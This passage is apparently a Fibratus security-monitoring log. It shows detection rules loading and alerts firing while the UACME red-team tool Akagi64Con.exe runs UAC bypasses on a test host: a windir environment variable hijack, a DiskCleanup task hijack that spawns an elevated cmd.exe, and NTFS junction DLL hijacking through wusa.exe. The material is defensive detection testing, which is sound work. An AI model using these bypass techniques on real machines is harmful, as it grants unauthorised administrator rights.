C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-04T17:00:26+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-04T17:00:26+01:00 level=info msg=bootstrapping with pid 4872. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-04T17:00:26+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false port=>25 content-type=>text/html use-template=>true to=>[]] systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ stack-enrichment=>true max-buffers=>36 min-buffers=>16 enable-dns=>false enable-net=>true enable-image=>true enable-registry=>true buffer-size=>512 enable-thread=>true enable-handle=>false enable-threadpool=>false enable-mem=>true enable-fileio=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-vamap=>true enable-audit-api=>true flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-age=>0 max-size=>100 max-backups=>15 level=>info formatter=>text] + output ......................... [ http=>[ enable-gzip=>false timeout=>5s endpoints=>[] serializer=>json enabled=>false tls-insecure-skip-verify=>false method=>POST] amqp=>[ tls-insecure-skip-verify=>false exchange-type=>topic passive=>false routing-key=>fibratus durable=>false exchange=>fibratus timeout=>5s url=>amqp://localhost:5672 delivery-mode=>transient enabled=>false vhost=>/] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ enabled=>false servers=>[http://127.0.0.1:9200] healthcheck=>true gzip-compression=>false template-name=>fibratus healthcheck-interval=>10s healthcheck-timeout=>5s flush-period=>1s timeout=>5s sniff=>false trace-log=>false bulk-workers=>1 index-name=>fibratus] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty]] + pe ............................. [ enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-files=>false fastscan=>true scan-timeout=>10s skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false skip-allocs=>false excluded-procs=>[] enabled=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-04T17:00:26+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-04T17:00:29+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-04T17:02:48+01:00 level=info msg=sending alert: [Fake system root environment variable manipulation]. Text: Event(s): + Seq: 4689929 + Pid: 2032 + Tid: 8956 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:02:28.5832654 +0100 CET + Params: data➜ C:\WINDOWS\system32\cmd.exe", key_handle➜ ffffd605a1076240, key_path➜ HKEY_CURRENT_USER\Environment\windir, status➜ Success, value_type➜ REG_SZ + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.name: Fake system root environment variable manipulation, tactic.id: TA0004 + + Pid: 2032 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 34 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 34] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:02:48+01:00 level=info msg=sending alert: [UAC bypass via DiskCleanup scheduled task hijack]. Text: Event(s): + Seq: 4693133 + Pid: 828 + Tid: 17200 + Type: CreateProcess + CPU: 3 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:02:28.7396442 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe"\system32\cleanmgr.exe" /autocleanstoragesense /d C:, directory_table_base➜ 3d0617000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffad0deeb99080, name➜ cmd.exe, pid➜ 5976, ppid➜ 828, real_ppid➜ 828, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-04 17:02:28.7396442 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.name: UAC bypass via DiskCleanup scheduled task hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 828 + Ppid: 1008 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:03:13+01:00 level=info msg=sending alert: [Fake system root environment variable manipulation]. Text: Event(s): + Seq: 4789914 + Pid: 5152 + Tid: 16120 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:02:43.5260562 +0100 CET + Params: data➜ C:\WINDOWS\system32\cmd.exe", key_handle➜ ffffd605a1076240, key_path➜ HKEY_CURRENT_USER\Environment\windir, status➜ Success, value_type➜ REG_SZ + Metadata: rule.name: Fake system root environment variable manipulation, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 5152 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 34 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 34] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:03:13+01:00 level=info msg=sending alert: [UAC bypass via DiskCleanup scheduled task hijack]. Text: Event(s): + Seq: 4794374 + Pid: 828 + Tid: 10760 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:02:43.6771189 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe"\system32\cleanmgr.exe" /autocleanstoragesense /d C:, directory_table_base➜ 161966000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffad0de98ce080, name➜ cmd.exe, pid➜ 9052, ppid➜ 828, real_ppid➜ 828, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-04 17:02:43.6770492 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.name: UAC bypass via DiskCleanup scheduled task hijack, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 828 + Ppid: 1008 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:03:27+01:00 level=info msg=sending alert: [UAC bypass via DiskCleanup scheduled task hijack]. Text: Event(s): + Seq: 4878986 + Pid: 828 + Tid: 17200 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:03:06.4766945 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe"\system32\cleanmgr.exe" /autocleanstoragesense /d C:, directory_table_base➜ 3429c8000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffffad0de469d080, name➜ cmd.exe, pid➜ 11488, ppid➜ 828, real_ppid➜ 828, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-04 17:03:06.4765514 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.name: UAC bypass via DiskCleanup scheduled task hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 828 + Ppid: 1008 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k netsvcs -p -s Schedule] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:03:58+01:00 level=info msg=sending alert: [UAC bypass via NTFS junction DLL hijacking]. Text: Event(s): + Seq: 4959476 + Pid: 9308 + Tid: 5712 + Type: CreateFile + CPU: 3 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:03:50.6564582 +0100 CET + Params: attributes➜ , create_disposition➜ SUPERSEDE, create_options➜ SYNCHRONOUS_IO_NONALERT|OPEN_REPARSE_POINT, file_object➜ ffffad0dd429d730, file_path➜ C:\WINDOWS\system32\dismcore.dll, irp➜ ffffad0de7a4c8c8, share_mask➜ READ|WRITE|DELETE, status➜ The system cannot find the file specified, tid➜ 5712, type➜ File + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.name: UAC bypass via NTFS junction DLL hijacking, tactic.id: TA0004 + + Pid: 9308 + Ppid: 11736 + Name: wusa.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\WINDOWS\system32\wusa.exe" /quiet C:\Users\nedo\AppData\Local\Temp\update.msu + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 36 + Exe: C:\WINDOWS\system32\wusa.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\wusa.exe" /quiet C:\Users\nedo\AppData\Local\Temp\update.msu] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:04:10+01:00 level=info msg=sending alert: [UAC bypass via NTFS junction DLL hijacking]. Text: Event(s): + Seq: 4995955 + Pid: 16492 + Tid: 10096 + Type: CreateFile + CPU: 5 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:03:56.3746347 +0100 CET + Params: attributes➜ , create_disposition➜ SUPERSEDE, create_options➜ SYNCHRONOUS_IO_NONALERT|OPEN_REPARSE_POINT, file_object➜ ffffad0dd89b52f0, file_path➜ C:\WINDOWS\system32\api-ms-win-core-kernel32-legacy-l1.DLL, irp➜ ffffad0df4bd30f8, share_mask➜ READ|WRITE|DELETE, status➜ The system cannot find the file specified, tid➜ 10096, type➜ Directory + Metadata: rule.name: UAC bypass via NTFS junction DLL hijacking, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 16492 + Ppid: 11736 + Name: wusa.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\WINDOWS\system32\wusa.exe" /quiet C:\Users\nedo\AppData\Local\Temp\update.msu + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 36 + Exe: C:\WINDOWS\system32\wusa.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\wusa.exe" /quiet C:\Users\nedo\AppData\Local\Temp\update.msu] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:04:39+01:00 level=info msg=sending alert: [UAC bypass via NTFS junction DLL hijacking]. Text: Event(s): + Seq: 5083210 + Pid: 5204 + Tid: 18112 + Type: CreateFile + CPU: 3 + Name: CreateFile + Category: file + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:04:30.753789 +0100 CET + Params: attributes➜ , create_disposition➜ SUPERSEDE, create_options➜ SYNCHRONOUS_IO_NONALERT|OPEN_REPARSE_POINT, file_object➜ ffffad0dd42885b0, file_path➜ C:\WINDOWS\system32\dccw.exe.local\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.26100.7019_none_6ef1f2863dc83276\GdiPlus.dll, irp➜ ffffad0dcdcd67c8, share_mask➜ READ|WRITE|DELETE, status➜ The system cannot find the file specified, tid➜ 18112, type➜ File + Metadata: rule.name: UAC bypass via NTFS junction DLL hijacking, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 5204 + Ppid: 14332 + Name: wusa.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\WINDOWS\system32\wusa.exe" /quiet C:\Users\nedo\AppData\Local\Temp\update.msu + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 37 + Exe: C:\WINDOWS\system32\wusa.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\wusa.exe" /quiet C:\Users\nedo\AppData\Local\Temp\update.msu] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-04T17:05:49+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 5283592 + Pid: 2820 + Tid: 5436 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + 